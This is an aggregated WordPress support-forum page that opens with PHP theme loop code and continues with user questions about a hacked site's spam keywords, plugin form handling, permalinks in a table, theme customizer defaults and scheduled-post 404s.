<?php if ($count == 1) : ?>
  <div class="top_story col-lg-8 col-md-7 col-xs-7">
  	<div class="loop-post-content clearfix">
  		<div class="article-featured-image has-sharer">
  			<a href="<?php the_permalink() ?>" ><?php
    if ( has_post_thumbnail() ) {
        the_post_thumbnail( 'homepage-thumb' );
    }
?></a>
  		</div><!----article-image-->

  		<div class="article-head">
  			<div class="loop-post-byline">
  				<span class="date">Нийтлэгч</span>
  				<span class="author_sticky"><?php the_author_posts_link(); ?></span>
  				<span class="date">—<?php the_time('Y.m.d ') ?> </span>
  			</div>
  			<div class="article-headline">
            <h1 class="article-title"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h1>
            </div>
        </div><!----article-head-->

        <div class="article-excerpt">
        	<p><?php echo substr(get_the_excerpt(), 0,300); ?><a class="sticky_more" href="<?php the_permalink() ?>">Үргэлжлэл→</a></p>

        </div><!----excerpt-->

     </div>
   </div>
    <?php elseif ($count == 2) : ?>
    	<div class="top-story-side col-lg-4 col-md-5 col-xs-5">
    	  <div class="loop-post">
    	  	<div class="loop-post-image">
    	  			<a href="<?php the_permalink() ?>" ><?php
    if ( has_post_thumbnail() ) {
        the_post_thumbnail( 'homepage-thumb' );
    }
?></a>
    	  	</div><!--- image-loop-->

    	  	<div class="loop-post-content clearfix">
    	  		<div class="loop-post-byline">
    	  			<span class="date"><?php the_time('Y.m.d ') ?> </span>
    	  			<span class="author_sticky">— <?php the_author_posts_link(); ?></span>
    	  		</div><!--- byline-->

             <h2 class="featured-title"><a class="post-link" href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>

        </div><!--- contet loop-->

        </div><!--- looppost-->
    <?php elseif ($count == 3) : ?>

  <div class="loop-post">
    	  	<div class="loop-post-image">
    	  			<a href="<?php the_permalink() ?>" ><?php
    if ( has_post_thumbnail() ) {
        the_post_thumbnail( 'homepage-thumb' );
    }
?>
</a>
    	  	</div><!--- image-loop-->

    	  	<div class="loop-post-content clearfix">
    	  		<div class="loop-post-byline">
    	  			<span class="date"><?php the_time('Y.m.d ') ?> </span>
    	  			<span class="author_sticky">— <?php the_author_posts_link(); ?></span>
    	  		</div><!--- byline-->

             <h2 class="featured-title"><a class="post-link"  href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>

        </div><!--- contet loop-->

        </div><!--- looppost-->

    </div>
    </div><!--- top_story-->

    <?php else : ?>

    <?php endif; ?>

     <?php endwhile;   ?>
     <?php endif; ?>

</div>

2. Second loop for rest of regular post

<?php
// Get the ID of a given category
$category_id = get_cat_ID( 'Category Name' );

// Get the URL of this category
$category_link = get_category_link( $category_id );

?>

<?php
$args = array(
    'posts_per_page' => 9,
    'ignore_sticky_posts' => 1
);

$the_query = new WP_Query( $args );
?>

<?php if (have_posts()) : while (have_posts()) : the_post();

$do_not_duplicate = $post->ID; ?>

			<div class="col-lg-4 col-md-6 col-sm-6 col-xs-12 one-post clearfix" id="post-<?php the_ID(); ?>">
	<div class="one-meta">
	      <div class="date"><i class="glyphicon glyphicon-time meta"></i> <?php the_time('Y.m.d ') ?> </div>
	      <div class="one-cat " >
	      	<i class="glyphicon glyphicon-tags" style="margin-right:5px; font-size:0.7em;"></i>
<?php the_category(', ') ?>
   	      </div>
   </div>

		<div class="one-img view view-first">
			<a href="<?php the_permalink() ?>" ><?php
    if ( has_post_thumbnail() ) {
        the_post_thumbnail( 'homepage-thumb' );
    }
?></a>
 <div class="mask">
     <h2><i class="glyphicon glyphicon-user front_author" ></i><?php the_author_posts_link(); ?></h2>
     <p><i class="glyphicon glyphicon-eye-open front_eye"></i><?php echo getPostViews(get_the_ID()); ?></p>
         <a href="<?php the_permalink() ?>" class="info">Дэлгэрэнгүй</a>
     </div>
</a>
		</div>

	    <h2 class="one-title"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>
</div>

		<?php endwhile; endif; ?>

kater89 on "Website Hacked"

$
0
0

I have many websites, all on different servers, that have been hacked somehow. (There are a few overlapping plugins so I am wondering if that is the problem.)

My Google "Content Keywords" are not correct. They contain words like "swy" and "besb" in them but I can't figure out where they are coming from!

Things that I have tried:

  • Reinstalled Wordpress (Deleted it and then reinstalled it fresh from wordpress.org)
  • Did a search in the database (nothing came back)
  • Reinstalled all plugins (Deleted it and then reinstalled it fresh from wordpress.org)
  • Looked through every line of the theme which I custom created. No iFrames, php code or anything else that wasn't part of the original code.
  • Used every website that I could find to scan the site
  • scanned the website with wordfence security plugin.
  • These sites are all fairly new and are pretty much all up to date (most are completely up to date)
  • None of these words are showing up in the source code on any page

Common Plugins between sites:

  • All in one SEO
  • BackupBuddy
  • Contact Form 7
  • Disable Comments
  • GA Google Analytics
  • Google XML Sitemaps
  • Wordfence Security

Any ideas of things to try would be very helpful!

Thanks

Any help would be great.


ad_brent on "handling form data"

$
0
0

Hello!

I'm a long time coder but brand new to word press development (trying my hand at my first plugin) and need some guidance from the veterans here...

I want to develop a simple admin panel plugin to track seminar registrations through the ecommerce system (woocommerce, but we'll jump off that integration bridge later.)

Basically, you setup a class, and then have students that register for the class; it has three simple tables: classes [type, date, location], students [name, email, phone], and registrations [student, class].

It looks like WP is built around the concept of posts, and I'm not sure if I should try to do this all with post metadata, or with custom SQL.

In particular, I'm unclear on how to process submitted data from forms. I see how it works for the options page, but what about for general forms? From what I've read it seems like custom SQL will be a better fit, but I can't figure out how to get the post data.

For example, I just want to create something really simple like "create new seminar" form with fields for type, date, and location; when the user clicks SUBMIT, I want to be able to parse the fields and create a new entry in the seminars table. However, I'm not sure what to put for action, and guessing has not proved successful.

Could someone point me towards some sample code on how to do this?

thanks so much!

-Brent

astalsberg on "the_permalink in a table? Just wont do it!"

$
0
0

So... I'm making a list of players on a hockey team here. And I have a bunch of extra metadata included in it, like goals, assist, points, etc etc. And all good so far, I got the table set up and it's working just as I want it. however. Now I get to the point as to link to a player site (each player is their own custom-post-type).

Take a look at the code below:

<!-- GET PLAYERS AND SORT BY # TO START WITH! -->

	<table class="spillere_tb">
		<tr class="headrow"><th colspan="8">SPILLERE</th></tr>
		<tr class="inforow">
			<th class="sp_num active">#</th>
			<th class="sp_navn">Navn</th>
			<th class="sp_stat">GP</th>
			<th class="sp_stat">PIM</th>
			<th class="sp_stat">G</th>
			<th class="sp_stat">A</th>
			<th class="sp_stat">P</th>
			<th class="sp_bayer">&nbsp;</th>
		</tr>

	<?php

	$i = 0;

	$args = array(
	'post_type' => 'spillere',
	'tax_query' => array(
						'relation' => 'AND',
						array(
							'taxonomy' => 'posisjon',
							'field' => 'slug',
							'terms' => array( 'loper', 'back' ),
						),
					),
	'meta_key' => 'nummer',
	'orderby' => 'meta_value_num',
	'order' => 'ASC',
	'meta_query' => array(
						array(
							'key' => 'nummer',
							'compare' => 'LIKE',
						)
					)
	);

	// The Query
	query_posts( $args ); ?>

	<?php // The Loop
	while ( have_posts() ) : the_post();

		if ($i % 2 == 0) {
  			$row = 'odd';
		} else {
			$row = 'even';
		};

		$post_id = get_the_ID();
		$nummer = get_post_meta ( $post_id, 'nummer', true);
		$fnavn = get_post_meta ( $post_id, 'fornavn', true);
		$enavn = get_post_meta ( $post_id, 'etternavn', true);
		$gp = get_post_meta ( $post_id, 'gp', true);
		$pim = get_post_meta ( $post_id, 'pim', true);
		$maal = get_post_meta ( $post_id, 'maal', true);
		$assist = get_post_meta ( $post_id, 'assist', true);
		$poeng = get_post_meta ( $post_id, 'poeng', true);
		$ba = get_post_meta ( $post_id, 'bayer', true);

		echo '<tr class="'.$row.'">';
		echo '<td class="active">#'.$nummer.'</td>'; // nummer
		echo '<td class="sp_navn"><a href="#">'.$fnavn.' '.$enavn.'</a></td>'; // navn
		echo '<td>'.$gp.'</td>'; // games played
		echo '<td>'.$pim.'</td>'; // penalty in minutes
		echo '<td>'.$maal.'</td>'; // mål
		echo '<td>'.$assist.'</td>'; // assist
		echo '<td>'.$poeng.'</td>'; // poeng
		echo '<td class="sp_bayer">'.$ba.'</td>'; // bayere
		echo '</tr>';

		$i++;

	endwhile;

	// Reset Query
	wp_reset_query(); ?>

	</table>

Now, this gets all the metadata perfectly, and sorts by the custom metadata jersey number, works just fine, BUT! How in the world do I get the permalink into the players name where you can see the ?? Whenever I add something there it just adds the link in a line above the table, and not even inside the table at all!

Robert.Vidrine on "Please explain Theme Customization setting default value"

$
0
0

I was very excited in 3.4 to see the Theme Customization come about, and have read a ton of stuff about it (including the OttoPress posts). I wrote a bunch of customizations for my theme, which will greatly add to the functionality and remove the need for most people to write any CSS or PHP at all. However, when I started testing it out on installs that had never set the specific theme mods before (I'm using theme_mod instead of option), I realized that the defaults I defined in the add_setting statement were not getting used at all. (I know that I could define the default directly in the get_theme_mod( 'modname', mydefaultvalue); but that defeats the purpose of defining the default in the add_setting.

I just re-read the Theme Customization API documentation in the codex, and noticed something in one of Otto's comments I hadn't noticed again. Next to one of the defaults defined in his add_setting example it says "//Default setting/value to save".

This makes me think that I've been misunderstanding completely how the default works. Should this be passed to get_theme_mod( 'somemod'); if somemod isn't set in the theme mods, or is it just the default value that will be saved if ome saves the theme customizer without entering a value? (I'm hoping that the default value will be used if somemod isn't saved in the database, but a default is defined in the add_setting, so the default will work even before they save the Theme Customizer.)

Do I just need to pass the default during each get_theme_mod call, even though it's defined in the add_setting?

nate22 on "Why was my hack post closed? I went through a lot of trouble"

$
0
0

Is this forum not for discussing extending WP and plugin development as the description says? It took me a long time to write that post and someone felt compelled to close it instantly. I don't use WordPress or the forums very often, so please explain this shocking behavior to me and suggest what might be a better forum so I don't waste my time again. Thanks.

Bob F on "How to prevent scheduled permalinks from 404ing"

$
0
0

WP is implemented such that the permalinks for scheduled posts are 404ed unless the user is logged in. Does anyone know how I might be able to hook WP so that permalinks of scheduled posts work even if the user is not logged in?

Note that I want scheduled posts to continue to be treated as unpublished in all other respects (i.e., they should not show up in archive pages, etc until published). I just want to prevent scheduled permalinks from 404ing.

Viewing all 8245 articles
Browse latest View live




Latest Images